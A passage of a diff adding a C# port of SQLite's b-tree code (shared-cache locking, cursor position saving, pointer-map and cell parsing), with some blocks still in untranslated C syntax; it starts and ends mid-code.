variable to 1 to enable tracing using the TRACE + ** macro. + */ +#if TRACE +static bool sqlite3BtreeTrace=false; /* True to enable tracing */ +//# define TRACE(X) if(sqlite3BtreeTrace){printf X;fflush(stdout);} +static void TRACE(string X, params object[] ap) { if (sqlite3BtreeTrace) printf(X, ap); } +#else + //# define TRACE(X) + static void TRACE(string X, params object[] ap) { } +#endif + + + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** A list of BtShared objects that are eligible for participation +** in shared cache. This variable has file scope during normal builds, +** but the test harness needs to access it so we make it global for +** test builds. +** +** Access to this variable is protected by SQLITE_MUTEX_STATIC_MASTER. +*/ +#if SQLITE_TEST +BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; +#else +static BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; +#endif +#endif //* SQLITE_OMIT_SHARED_CACHE */ + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** Enable or disable the shared pager and schema features. +** +** This routine has no effect on existing database connections. +** The shared cache setting effects only future calls to +** sqlite3_open(), sqlite3_open16(), or sqlite3_open_v2(). +*/ +int sqlite3_enable_shared_cache(int enable){ +sqlite3GlobalConfig.sharedCacheEnabled = enable; +return SQLITE_OK; +} +#endif + + + +#if SQLITE_OMIT_SHARED_CACHE + /* +** The functions querySharedCacheTableLock(), setSharedCacheTableLock(), +** and clearAllSharedCacheTableLocks() +** manipulate entries in the BtShared.pLock linked list used to store +** shared-cache table level locks. If the library is compiled with the +** shared-cache feature disabled, then there is only ever one user +** of each BtShared structure and so this locking is not necessary. +** So define the lock related functions as no-ops. +*/ + //#define querySharedCacheTableLock(a,b,c) SQLITE_OK + static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock) { return SQLITE_OK; } + + //#define setSharedCacheTableLock(a,b,c) SQLITE_OK + //#define clearAllSharedCacheTableLocks(a) + static void clearAllSharedCacheTableLocks(Btree a) { } + //#define downgradeAllSharedCacheTableLocks(a) + static void downgradeAllSharedCacheTableLocks(Btree a) { } + //#define hasSharedCacheTableLock(a,b,c,d) 1 + static bool hasSharedCacheTableLock(Btree a, Pgno b, int c, int d) { return true; } + //#define hasReadConflicts(a, b) 0 + static bool hasReadConflicts(Btree a, Pgno b) { return false; } +#endif + +#if !SQLITE_OMIT_SHARED_CACHE + +#if SQLITE_DEBUG +/* +** This function is only used as part of an Debug.Assert() statement. It checks +** that connection p holds the required locks to read or write to the +** b-tree with root page iRoot. If so, true is returned. Otherwise, false. +** For example, when writing to a table b-tree with root-page iRoot via +** Btree connection pBtree: +** +** Debug.Assert( hasSharedCacheTableLock(pBtree, iRoot, 0, WRITE_LOCK) ); +** +** When writing to an index b-tree that resides in a sharable database, the +** caller should have first obtained a lock specifying the root page of +** the corresponding table b-tree. This makes things a bit more complicated, +** as this module treats each b-tree as a separate structure. To determine +** the table b-tree corresponding to the index b-tree being written, this +** function has to search through the database schema. +** +** Instead of a lock on the b-tree rooted at page iRoot, the caller may +** hold a write-lock on the schema table (root page 1). This is also +** acceptable. +*/ +static int hasSharedCacheTableLock( +Btree pBtree, /* Handle that must hold lock */ +Pgno iRoot, /* Root page of b-tree */ +int isIndex, /* True if iRoot is the root of an index b-tree */ +int eLockType /* Required lock type (READ_LOCK or WRITE_LOCK) */ +){ +Schema pSchema = (Schema *)pBtree.pBt.pSchema; +Pgno iTab = 0; +BtLock pLock; + +/* If this b-tree database is not shareable, or if the client is reading +** and has the read-uncommitted flag set, then no lock is required. +** In these cases return true immediately. If the client is reading +** or writing an index b-tree, but the schema is not loaded, then return +** true also. In this case the lock is required, but it is too difficult +** to check if the client actually holds it. This doesn't happen very +** often. */ +if( (pBtree.sharable==null) +|| (eLockType==READ_LOCK && (pBtree.db.flags & SQLITE_ReadUncommitted)) +|| (isIndex && (!pSchema || (pSchema.flags&DB_SchemaLoaded)==null )) +){ +return 1; +} + +/* Figure out the root-page that the lock should be held on. For table +** b-trees, this is just the root page of the b-tree being read or +** written. For index b-trees, it is the root page of the associated +** table. */ +if( isIndex ){ +HashElem p; +for(p=sqliteHashFirst(pSchema.idxHash); p!=null; p=sqliteHashNext(p)){ +Index pIdx = (Index *)sqliteHashData(p); +if( pIdx.tnum==(int)iRoot ){ +iTab = pIdx.pTable.tnum; +} +} +}else{ +iTab = iRoot; +} + +/* Search for the required lock. Either a write-lock on root-page iTab, a +** write-lock on the schema table, or (if the client is reading) a +** read-lock on iTab will suffice. Return 1 if any of these are found. */ +for(pLock=pBtree.pBt.pLock; pLock; pLock=pLock.pNext){ +if( pLock.pBtree==pBtree +&& (pLock.iTable==iTab || (pLock.eLock==WRITE_LOCK && pLock.iTable==1)) +&& pLock.eLock>=eLockType +){ +return 1; +} +} + +/* Failed to find the required lock. */ +return 0; +} + +/* +** This function is also used as part of Debug.Assert() statements only. It +** returns true if there exist one or more cursors open on the table +** with root page iRoot that do not belong to either connection pBtree +** or some other connection that has the read-uncommitted flag set. +** +** For example, before writing to page iRoot: +** +** Debug.Assert( !hasReadConflicts(pBtree, iRoot) ); +*/ +static int hasReadConflicts(Btree pBtree, Pgno iRoot){ +BtCursor p; +for(p=pBtree.pBt.pCursor; p!=null; p=p.pNext){ +if( p.pgnoRoot==iRoot +&& p.pBtree!=pBtree +&& 0==(p.pBtree.db.flags & SQLITE_ReadUncommitted) +){ +return 1; +} +} +return 0; +} +#endif //* #if SQLITE_DEBUG */ + +/* +** Query to see if btree handle p may obtain a lock of type eLock +** (READ_LOCK or WRITE_LOCK) on the table with root-page iTab. Return +** SQLITE_OK if the lock may be obtained (by calling +** setSharedCacheTableLock()), or SQLITE_LOCKED if not. +*/ +static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock){ +BtShared pBt = p.pBt; +BtLock pIter; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); +Debug.Assert( p.db!=null ); +Debug.Assert( !(p.db.flags&SQLITE_ReadUncommitted)||eLock==WRITE_LOCK||iTab==1 ); + +/* If requesting a write-lock, then the Btree must have an open write +** transaction on this file. And, obviously, for this to be so there +** must be an open write transaction on the file itself. +*/ +Debug.Assert( eLock==READ_LOCK || (p==pBt.pWriter && p.inTrans==TRANS_WRITE) ); +Debug.Assert( eLock==READ_LOCK || pBt.inTransaction==TRANS_WRITE ); + +/* This is a no-op if the shared-cache is not enabled */ +if( !p.sharable ){ +return SQLITE_OK; +} + +/* If some other connection is holding an exclusive lock, the +** requested lock may not be obtained. +*/ +if( pBt.pWriter!=p && pBt.isExclusive ){ +sqlite3ConnectionBlocked(p.db, pBt.pWriter.db); +return SQLITE_LOCKED_SHAREDCACHE; +} + +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +/* The condition (pIter.eLock!=eLock) in the following if(...) +** statement is a simplification of: +** +** (eLock==WRITE_LOCK || pIter.eLock==WRITE_LOCK) +** +** since we know that if eLock==WRITE_LOCK, then no other connection +** may hold a WRITE_LOCK on any table in this file (since there can +** only be a single writer). +*/ +Debug.Assert( pIter.eLock==READ_LOCK || pIter.eLock==WRITE_LOCK ); +Debug.Assert( eLock==READ_LOCK || pIter.pBtree==p || pIter.eLock==READ_LOCK); +if( pIter.pBtree!=p && pIter.iTable==iTab && pIter.eLock!=eLock ){ +sqlite3ConnectionBlocked(p.db, pIter.pBtree.db); +if( eLock==WRITE_LOCK ){ +Debug.Assert( p==pBt.pWriter ); +pBt.isPending = 1; +} +return SQLITE_LOCKED_SHAREDCACHE; +} +} +return SQLITE_OK; +} +#endif //* !SQLITE_OMIT_SHARED_CACHE */ + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** Add a lock on the table with root-page iTable to the shared-btree used +** by Btree handle p. Parameter eLock must be either READ_LOCK or +** WRITE_LOCK. +** +** This function assumes the following: +** +** (a) The specified b-tree connection handle is connected to a sharable +** b-tree database (one with the BtShared.sharable) flag set, and +** +** (b) No other b-tree connection handle holds a lock that conflicts +** with the requested lock (i.e. querySharedCacheTableLock() has +** already been called and returned SQLITE_OK). +** +** SQLITE_OK is returned if the lock is added successfully. SQLITE_NOMEM +** is returned if a malloc attempt fails. +*/ +static int setSharedCacheTableLock(Btree p, Pgno iTable, u8 eLock){ +BtShared pBt = p.pBt; +BtLock pLock = 0; +BtLock pIter; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); +Debug.Assert( p.db!=null ); + +/* A connection with the read-uncommitted flag set will never try to +** obtain a read-lock using this function. The only read-lock obtained +** by a connection in read-uncommitted mode is on the sqlite_master +** table, and that lock is obtained in BtreeBeginTrans(). */ +Debug.Assert( 0==(p.db.flags&SQLITE_ReadUncommitted) || eLock==WRITE_LOCK ); + +/* This function should only be called on a sharable b-tree after it +** has been determined that no other b-tree holds a conflicting lock. */ +Debug.Assert( p.sharable ); +Debug.Assert( SQLITE_OK==querySharedCacheTableLock(p, iTable, eLock) ); + +/* First search the list for an existing lock on this table. */ +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +if( pIter.iTable==iTable && pIter.pBtree==p ){ +pLock = pIter; +break; +} +} + +/* If the above search did not find a BtLock struct associating Btree p +** with table iTable, allocate one and link it into the list. +*/ +if( !pLock ){ +pLock = (BtLock *)sqlite3MallocZero(sizeof(BtLock)); +if( !pLock ){ +return SQLITE_NOMEM; +} +pLock.iTable = iTable; +pLock.pBtree = p; +pLock.pNext = pBt.pLock; +pBt.pLock = pLock; +} + +/* Set the BtLock.eLock variable to the maximum of the current lock +** and the requested lock. This means if a write-lock was already held +** and a read-lock requested, we don't incorrectly downgrade the lock. +*/ +Debug.Assert( WRITE_LOCK>READ_LOCK ); +if( eLock>pLock.eLock ){ +pLock.eLock = eLock; +} + +return SQLITE_OK; +} +#endif //* !SQLITE_OMIT_SHARED_CACHE */ + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** Release all the table locks (locks obtained via calls to +** the setSharedCacheTableLock() procedure) held by Btree handle p. +** +** This function assumes that handle p has an open read or write +** transaction. If it does not, then the BtShared.isPending variable +** may be incorrectly cleared. +*/ +static void clearAllSharedCacheTableLocks(Btree p){ +BtShared pBt = p.pBt; +BtLock **ppIter = &pBt.pLock; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( p.sharable || 0==*ppIter ); +Debug.Assert( p.inTrans>0 ); + +while( ppIter ){ +BtLock pLock = ppIter; +Debug.Assert( pBt.isExclusive==null || pBt.pWriter==pLock.pBtree ); +Debug.Assert( pLock.pBtree.inTrans>=pLock.eLock ); +if( pLock.pBtree==p ){ +ppIter = pLock.pNext; +Debug.Assert( pLock.iTable!=1 || pLock==&p.lock ); +if( pLock.iTable!=1 ){ +pLock=null;//sqlite3_free(ref pLock); +} +}else{ +ppIter = &pLock.pNext; +} +} + +Debug.Assert( pBt.isPending==null || pBt.pWriter ); +if( pBt.pWriter==p ){ +pBt.pWriter = 0; +pBt.isExclusive = 0; +pBt.isPending = 0; +}else if( pBt.nTransaction==2 ){ +/* This function is called when connection p is concluding its +** transaction. If there currently exists a writer, and p is not +** that writer, then the number of locks held by connections other +** than the writer must be about to drop to zero. In this case +** set the isPending flag to 0. +** +** If there is not currently a writer, then BtShared.isPending must +** be zero already. So this next line is harmless in that case. +*/ +pBt.isPending = 0; +} +} + +/* +** This function changes all write-locks held by connection p to read-locks. +*/ +static void downgradeAllSharedCacheTableLocks(Btree p){ +BtShared pBt = p.pBt; +if( pBt.pWriter==p ){ +BtLock pLock; +pBt.pWriter = 0; +pBt.isExclusive = 0; +pBt.isPending = 0; +for(pLock=pBt.pLock; pLock; pLock=pLock.pNext){ +Debug.Assert( pLock.eLock==READ_LOCK || pLock.pBtree==p ); +pLock.eLock = READ_LOCK; +} +} +} + +#endif //* SQLITE_OMIT_SHARED_CACHE */ + + //static void releasePage(MemPage pPage); /* Forward reference */ + + /* + ** Verify that the cursor holds a mutex on the BtShared + */ +#if !NDEBUG + static bool cursorHoldsMutex(BtCursor p) + { + return sqlite3_mutex_held(p.pBt.mutex); + } +#else +static bool cursorHoldsMutex(BtCursor p) { return true; } +#endif + + +#if !SQLITE_OMIT_INCRBLOB +/* +** Invalidate the overflow page-list cache for cursor pCur, if any. +*/ +static void invalidateOverflowCache(BtCursor pCur){ +Debug.Assert( cursorHoldsMutex(pCur) ); +//sqlite3_free(ref pCur.aOverflow); +pCur.aOverflow = null; +} + +/* +** Invalidate the overflow page-list cache for all cursors opened +** on the shared btree structure pBt. +*/ +static void invalidateAllOverflowCache(BtShared pBt){ +BtCursor p; +Debug.Assert( sqlite3_mutex_held(pBt.mutex) ); +for(p=pBt.pCursor; p!=null; p=p.pNext){ +invalidateOverflowCache(p); +} +} + +/* +** This function is called before modifying the contents of a table +** b-tree to invalidate any incrblob cursors that are open on the +** row or one of the rows being modified. +** +** If argument isClearTable is true, then the entire contents of the +** table is about to be deleted. In this case invalidate all incrblob +** cursors open on any row within the table with root-page pgnoRoot. +** +** Otherwise, if argument isClearTable is false, then the row with +** rowid iRow is being replaced or deleted. In this case invalidate +** only those incrblob cursors open on this specific row. +*/ +static void invalidateIncrblobCursors( +Btree pBtree, /* The database file to check */ +i64 iRow, /* The rowid that might be changing */ +int isClearTable /* True if all rows are being deleted */ +){ +BtCursor p; +BtShared pBt = pBtree.pBt; +Debug.Assert( sqlite3BtreeHoldsMutex(pBtree) ); +for(p=pBt.pCursor; p!=null; p=p.pNext){ +if( p.isIncrblobHandle && (isClearTable || p.info.nKey==iRow) ){ +p.eState = CURSOR_INVALID; +} +} +} + +#else + //#define invalidateOverflowCache(x) + static void invalidateOverflowCache(BtCursor pCur) { } + //#define invalidateAllOverflowCache(x) + static void invalidateAllOverflowCache(BtShared pBt) { } + //#define invalidateIncrblobCursors(x,y,z) + static void invalidateIncrblobCursors(Btree x, i64 y, int z) { } + +#endif + + /* +** Set bit pgno of the BtShared.pHasContent bitvec. This is called +** when a page that previously contained data becomes a free-list leaf +** page. +** +** The BtShared.pHasContent bitvec exists to work around an obscure +** bug caused by the interaction of two useful IO optimizations surrounding +** free-list leaf pages: +** +** 1) When all data is deleted from a page and the page becomes +** a free-list leaf page, the page is not written to the database +** (as free-list leaf pages contain no meaningful data). Sometimes +** such a page is not even journalled (as it will not be modified, +** why bother journalling it?). +** +** 2) When a free-list leaf page is reused, its content is not read +** from the database or written to the journal file (why should it +** be, if it is not at all meaningful?). +** +** By themselves, these optimizations work fine and provide a handy +** performance boost to bulk delete or insert operations. However, if +** a page is moved to the free-list and then reused within the same +** transaction, a problem comes up. If the page is not journalled when +** it is moved to the free-list and it is also not journalled when it +** is extracted from the free-list and reused, then the original data +** may be lost. In the event of a rollback, it may not be possible +** to restore the database to its original configuration. +** +** The solution is the BtShared.pHasContent bitvec. Whenever a page is +** moved to become a free-list leaf page, the corresponding bit is +** set in the bitvec. Whenever a leaf page is extracted from the free-list, +** optimization 2 above is ommitted if the corresponding bit is already +** set in BtShared.pHasContent. The contents of the bitvec are cleared +** at the end of every transaction. +*/ + static int btreeSetHasContent(BtShared pBt, Pgno pgno) + { + int rc = SQLITE_OK; + if (null == pBt.pHasContent) + { + int nPage = 100; + sqlite3PagerPagecount(pBt.pPager, ref nPage); + /* If sqlite3PagerPagecount() fails there is no harm because the + ** nPage variable is unchanged from its default value of 100 */ + pBt.pHasContent = sqlite3BitvecCreate((u32)nPage); + if (null == pBt.pHasContent) + { + rc = SQLITE_NOMEM; + } + } + if (rc == SQLITE_OK && pgno <= sqlite3BitvecSize(pBt.pHasContent)) + { + rc = sqlite3BitvecSet(pBt.pHasContent, pgno); + } + return rc; + } + + /* + ** Query the BtShared.pHasContent vector. + ** + ** This function is called when a free-list leaf page is removed from the + ** free-list for reuse. It returns false if it is safe to retrieve the + ** page from the pager layer with the 'no-content' flag set. True otherwise. + */ + static bool btreeGetHasContent(BtShared pBt, Pgno pgno) + { + Bitvec p = pBt.pHasContent; + return (p != null && (pgno > sqlite3BitvecSize(p) || sqlite3BitvecTest(p, pgno) != 0)); + } + + /* + ** Clear (destroy) the BtShared.pHasContent bitvec. This should be + ** invoked at the conclusion of each write-transaction. + */ + static void btreeClearHasContent(BtShared pBt) + { + sqlite3BitvecDestroy(ref pBt.pHasContent); + pBt.pHasContent = null; + } + + /* + ** Save the current cursor position in the variables BtCursor.nKey + ** and BtCursor.pKey. The cursor's state is set to CURSOR_REQUIRESEEK. + ** + ** The caller must ensure that the cursor is valid (has eState==CURSOR_VALID) + ** prior to calling this routine. + */ + static int saveCursorPosition(BtCursor pCur) + { + int rc; + + Debug.Assert(CURSOR_VALID == pCur.eState); + Debug.Assert(null == pCur.pKey); + Debug.Assert(cursorHoldsMutex(pCur)); + + rc = sqlite3BtreeKeySize(pCur, ref pCur.nKey); + Debug.Assert(rc == SQLITE_OK); /* KeySize() cannot fail */ + + /* If this is an intKey table, then the above call to BtreeKeySize() + ** stores the integer key in pCur.nKey. In this case this value is + ** all that is required. Otherwise, if pCur is not open on an intKey + ** table, then malloc space for and store the pCur.nKey bytes of key + ** data. + */ + if (0 == pCur.apPage[0].intKey) + { + byte[] pKey = new byte[pCur.nKey];//void pKey = sqlite3Malloc( (int)pCur.nKey ); + //if( pKey !=null){ + rc = sqlite3BtreeKey(pCur, 0, (u32)pCur.nKey, pKey); + if (rc == SQLITE_OK) + { + pCur.pKey = pKey; + } + //else{ + // sqlite3_free(ref pKey); + //} + //}else{ + // rc = SQLITE_NOMEM; + //} + } + Debug.Assert(0 == pCur.apPage[0].intKey || null == pCur.pKey); + + if (rc == SQLITE_OK) + { + int i; + for (i = 0; i <= pCur.iPage; i++) + { + releasePage(pCur.apPage[i]); + pCur.apPage[i] = null; + } + pCur.iPage = -1; + pCur.eState = CURSOR_REQUIRESEEK; + } + + invalidateOverflowCache(pCur); + return rc; + } + + /* + ** Save the positions of all cursors except pExcept open on the table + ** with root-page iRoot. Usually, this is called just before cursor + ** pExcept is used to modify the table (BtreeDelete() or BtreeInsert()). + */ + static int saveAllCursors(BtShared pBt, Pgno iRoot, BtCursor pExcept) + { + BtCursor p; + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(pExcept == null || pExcept.pBt == pBt); + for (p = pBt.pCursor; p != null; p = p.pNext) + { + if (p != pExcept && (0 == iRoot || p.pgnoRoot == iRoot) && + p.eState == CURSOR_VALID) + { + int rc = saveCursorPosition(p); + if (SQLITE_OK != rc) + { + return rc; + } + } + } + return SQLITE_OK; + } + + /* + ** Clear the current cursor position. + */ + static void sqlite3BtreeClearCursor(BtCursor pCur) + { + Debug.Assert(cursorHoldsMutex(pCur)); + //sqlite3_free(ref pCur.pKey); + pCur.pKey = null; + pCur.eState = CURSOR_INVALID; + } + + /* + ** In this version of BtreeMoveto, pKey is a packed index record + ** such as is generated by the OP_MakeRecord opcode. Unpack the + ** record and then call BtreeMovetoUnpacked() to do the work. + */ + static int btreeMoveto( + BtCursor pCur, /* Cursor open on the btree to be searched */ + byte[] pKey, /* Packed key if the btree is an index */ + i64 nKey, /* Integer key for tables. Size of pKey for indices */ + int bias, /* Bias search to the high end */ + ref int pRes /* Write search results here */ + ) + { + int rc; /* Status code */ + UnpackedRecord pIdxKey; /* Unpacked index key */ + UnpackedRecord aSpace = new UnpackedRecord();//char aSpace[150]; /* Temp space for pIdxKey - to avoid a malloc */ + + if (pKey != null) + { + Debug.Assert(nKey == (i64)(int)nKey); + pIdxKey = sqlite3VdbeRecordUnpack(pCur.pKeyInfo, (int)nKey, pKey, + aSpace, 16);//sizeof( aSpace ) ); + if (pIdxKey == null) return SQLITE_NOMEM; + } + else + { + pIdxKey = null; + } + rc = sqlite3BtreeMovetoUnpacked(pCur, pIdxKey, nKey, bias != 0 ? 1 : 0, ref pRes); + + if (pKey != null) + { + sqlite3VdbeDeleteUnpackedRecord(pIdxKey); + } + return rc; + } + + /* + ** Restore the cursor to the position it was in (or as close to as possible) + ** when saveCursorPosition() was called. Note that this call deletes the + ** saved position info stored by saveCursorPosition(), so there can be + ** at most one effective restoreCursorPosition() call after each + ** saveCursorPosition(). + */ + static int btreeRestoreCursorPosition(BtCursor pCur) + { + int rc; + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState >= CURSOR_REQUIRESEEK); + if (pCur.eState == CURSOR_FAULT) + { + return pCur.skipNext; + } + pCur.eState = CURSOR_INVALID; + rc = btreeMoveto(pCur, pCur.pKey, pCur.nKey, 0, ref pCur.skipNext); + if (rc == SQLITE_OK) + { + //sqlite3_free(ref pCur.pKey); + pCur.pKey = null; + Debug.Assert(pCur.eState == CURSOR_VALID || pCur.eState == CURSOR_INVALID); + } + return rc; + } + + //#define restoreCursorPosition(p) \ + // (p.eState>=CURSOR_REQUIRESEEK ? \ + // btreeRestoreCursorPosition(p) : \ + // SQLITE_OK) + static int restoreCursorPosition(BtCursor pCur) + { + if ( pCur.eState >= CURSOR_REQUIRESEEK ) + return btreeRestoreCursorPosition( pCur ); + else + return SQLITE_OK; + } + + /* + ** Determine whether or not a cursor has moved from the position it + ** was last placed at. Cursors can move when the row they are pointing + ** at is deleted out from under them. + ** + ** This routine returns an error code if something goes wrong. The + ** integer pHasMoved is set to one if the cursor has moved and 0 if not. + */ + static int sqlite3BtreeCursorHasMoved(BtCursor pCur, ref int pHasMoved) + { + int rc; + + rc = restoreCursorPosition(pCur); + if (rc != 0) + { + pHasMoved = 1; + return rc; + } + if (pCur.eState != CURSOR_VALID || pCur.skipNext != 0) + { + pHasMoved = 1; + } + else + { + pHasMoved = 0; + } + return SQLITE_OK; + } + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Given a page number of a regular database page, return the page +** number for the pointer-map page that contains the entry for the +** input page number. +*/ + static Pgno ptrmapPageno(BtShared pBt, Pgno pgno) + { + int nPagesPerMapPage; + Pgno iPtrMap, ret; + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + nPagesPerMapPage = (pBt.usableSize / 5) + 1; + iPtrMap = (Pgno)((pgno - 2) / nPagesPerMapPage); + ret = (Pgno)( iPtrMap * nPagesPerMapPage ) + 2; + if (ret == PENDING_BYTE_PAGE(pBt)) + { + ret++; + } + return ret; + } + + /* + ** Write an entry into the pointer map. + ** + ** This routine updates the pointer map entry for page number 'key' + ** so that it maps to type 'eType' and parent page number 'pgno'. + ** + ** If pRC is initially non-zero (non-SQLITE_OK) then this routine is + ** a no-op. If an error occurs, the appropriate error code is written + ** into pRC. + */ + static void ptrmapPut(BtShared pBt, Pgno key, u8 eType, Pgno parent, ref int pRC) + { + DbPage pDbPage = new PgHdr(); /* The pointer map page */ + u8[] pPtrmap; /* The pointer map data */ + Pgno iPtrmap; /* The pointer map page number */ + int offset; /* Offset in pointer map page */ + int rc; /* Return code from subfunctions */ + + if (pRC != 0) return; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + /* The master-journal page number must never be used as a pointer map page */ + Debug.Assert(false == PTRMAP_ISPAGE(pBt, PENDING_BYTE_PAGE(pBt))); + + Debug.Assert(pBt.autoVacuum); + if (key == 0) + { +#if SQLITE_DEBUG || DEBUG + pRC = SQLITE_CORRUPT_BKPT(); +#else +pRC = SQLITE_CORRUPT_BKPT; +#endif + return; + } + iPtrmap = PTRMAP_PAGENO(pBt, key); + rc = sqlite3PagerGet(pBt.pPager, iPtrmap, ref pDbPage); + if (rc != SQLITE_OK) + { + pRC = rc; + return; + } + offset = (int)PTRMAP_PTROFFSET(iPtrmap, key); + if (offset < 0) + { +#if SQLITE_DEBUG || DEBUG + pRC = SQLITE_CORRUPT_BKPT(); +#else +pRC = SQLITE_CORRUPT_BKPT; +#endif + goto ptrmap_exit; + } + pPtrmap = sqlite3PagerGetData(pDbPage); + + if (eType != pPtrmap[offset] || sqlite3Get4byte(pPtrmap, offset + 1) != parent) + { + TRACE("PTRMAP_UPDATE: %d->(%d,%d)\n", key, eType, parent); + pRC = rc = sqlite3PagerWrite(pDbPage); + if (rc == SQLITE_OK) + { + pPtrmap[offset] = eType; + sqlite3Put4byte(pPtrmap, offset + 1, parent); + } + } + + ptrmap_exit: + sqlite3PagerUnref(pDbPage); + } + + /* + ** Read an entry from the pointer map. + ** + ** This routine retrieves the pointer map entry for page 'key', writing + ** the type and parent page number to pEType and pPgno respectively. + ** An error code is returned if something goes wrong, otherwise SQLITE_OK. + */ + static int ptrmapGet(BtShared pBt, Pgno key, ref u8 pEType, ref Pgno pPgno) + { + DbPage pDbPage = new PgHdr();/* The pointer map page */ + int iPtrmap; /* Pointer map page index */ + u8[] pPtrmap; /* Pointer map page data */ + int offset; /* Offset of entry in pointer map */ + int rc; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + + iPtrmap = (int)PTRMAP_PAGENO(pBt, key); + rc = sqlite3PagerGet(pBt.pPager, (u32)iPtrmap, ref pDbPage); + if (rc != 0) + { + return rc; + } + pPtrmap = sqlite3PagerGetData(pDbPage); + + offset = (int)PTRMAP_PTROFFSET((u32)iPtrmap, key); + // Under C# pEType will always exist. No need to test; // + //Debug.Assert( pEType != 0 ); + pEType = pPtrmap[offset]; + // Under C# pPgno will always exist. No need to test; // + //if ( pPgno != 0 ) + pPgno = sqlite3Get4byte(pPtrmap, offset + 1); + + sqlite3PagerUnref(pDbPage); + if (pEType < 1 || pEType > 5) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + return SQLITE_OK; + } + +#else //* if defined SQLITE_OMIT_AUTOVACUUM */ +//#define ptrmapPut(w,x,y,z,rc) +//#define ptrmapGet(w,x,y,z) SQLITE_OK +//#define ptrmapPutOvflPtr(x, y, rc) +#endif + + /* +** Given a btree page and a cell index (0 means the first cell on +** the page, 1 means the second cell, and so forth) return a pointer +** to the cell content. +** +** This routine works only for pages that do not contain overflow cells. +*/ + //#define findCell(P,I) \ + // ((P).aData + ((P).maskPage & get2byte((P).aData[(P).cellOffset+2*(I)]))) + static int findCell(MemPage pPage, int iCell) + { + return get2byte(pPage.aData, (pPage).cellOffset + 2 * (iCell)); + } + /* + ** This a more complex version of findCell() that works for + ** pages that do contain overflow cells. + */ + static int findOverflowCell(MemPage pPage, int iCell) + { + int i; + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + for (i = pPage.nOverflow - 1; i >= 0; i--) + { + int k; + _OvflCell pOvfl; + pOvfl = pPage.aOvfl[i]; + k = pOvfl.idx; + if (k <= iCell) + { + if (k == iCell) + { + //return pOvfl.pCell; + return -i - 1; // Negative Offset means overflow cells + } + iCell--; + } + } + return findCell(pPage, iCell); + } + + /* + ** Parse a cell content block and fill in the CellInfo structure. There + ** are two versions of this function. btreeParseCell() takes a + ** cell index as the second argument and btreeParseCellPtr() + ** takes a pointer to the body of the cell as its second argument. + ** + ** Within this file, the parseCell() macro can be called instead of + ** btreeParseCellPtr(). Using some compilers, this will be faster. + */ + //OVERLOADS + static void btreeParseCellPtr( + MemPage pPage, /* Page containing the cell */ + int iCell, /* Pointer to the cell text. */ + ref CellInfo pInfo /* Fill in this structure */ + ) + { btreeParseCellPtr(pPage, pPage.aData, iCell, ref pInfo); } + static void btreeParseCellPtr( + MemPage pPage, /* Page containing the cell */ + byte[] pCell, /* The actual data */ + ref CellInfo pInfo /* Fill in this structure */ + ) + { btreeParseCellPtr( pPage, pCell, 0, ref pInfo ); } + static void btreeParseCellPtr( + MemPage pPage, /* Page containing the cell */ + u8[] pCell, /* Pointer to the cell text. */ + int iCell, /* Pointer to the cell text. */ + ref CellInfo pInfo /* Fill in this structure */ + ) + { + u16 n; /* Number bytes in cell content header */ + u32 nPayload = 0; /* Number of bytes of cell payload */ + + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + + pInfo.pCell = pCell; + pInfo.iCell = iCell; + Debug.Assert(pPage.leaf == 0 || pPage.leaf == 1); + n = pPage.childPtrSize; + Debug.Assert(n == 4 - 4 * pPage.leaf); + if (pPage.intKey != 0) + { + if (pPage.hasData != 0) + { + n += (u16)getVarint32(pCell, iCell + n, ref nPayload); + } + else + { + nPayload = 0; + } + n += (u16)getVarint(pCell, iCell + n, ref pInfo.nKey); + pInfo.nData = nPayload; + } + else + { + pInfo.nData = 0; + n += (u16)getVarint32(pCell, iCell + n, ref nPayload); + pInfo.nKey = nPayload; + } + pInfo.nPayload = nPayload; + pInfo.nHeader = n; + testcase(nPayload == pPage.maxLocal); + testcase(nPayload == pPage.maxLocal + 1); + if (likely(nPayload <= pPage.maxLocal)) + { + /* This is the (easy) common case where the entire payload fits + ** on the local page. No overflow is required. + */ + int nSize; /* Total size of cell content in bytes */ + nSize = (int)nPayload + n; + pInfo.nLocal = (u16)nPayload; + pInfo.iOverflow = 0; + if ((nSize & ~3) == 0) + { + nSize = 4; /* Minimum cell size is 4 */ + } + pInfo.nSize = (u16)nSize; + } + else + { + /* If the payload will not fit completely on the local page, we have + ** to decide how much to store locally and how much to spill onto + ** overflow pages. The strategy is to minimize the amount of unused + ** space on overflow pages while keeping the amount of local storage + ** in between minLocal and maxLocal. + ** + ** Warning: changing the way overflow payload is distributed in any + ** way will result in an incompatible file format. + */ + int minLocal; /* Minimum amount of payload held locally */ + int maxLocal; /* Maximum amount of payload held locally */ + int surplus; /* Overflow payload available for local storage */ + + minLocal = pPage.minLocal; + maxLocal = pPage.maxLocal; + surplus = (int)(minLocal + (nPayload - minLocal) % (pPage.pBt.usableSize - 4)); + testcase(surplus == maxLocal); + testcase(surplus == maxLocal + 1); + if (surplus <= maxLocal) + { + pInfo.nLocal = (u16)surplus; + } + else + { + pInfo.nLocal = (u16)minLocal; + } + pInfo.iOverflow = (u16)(pInfo.nLocal + n); + pInfo.nSize = (u16)(pInfo.iOverflow 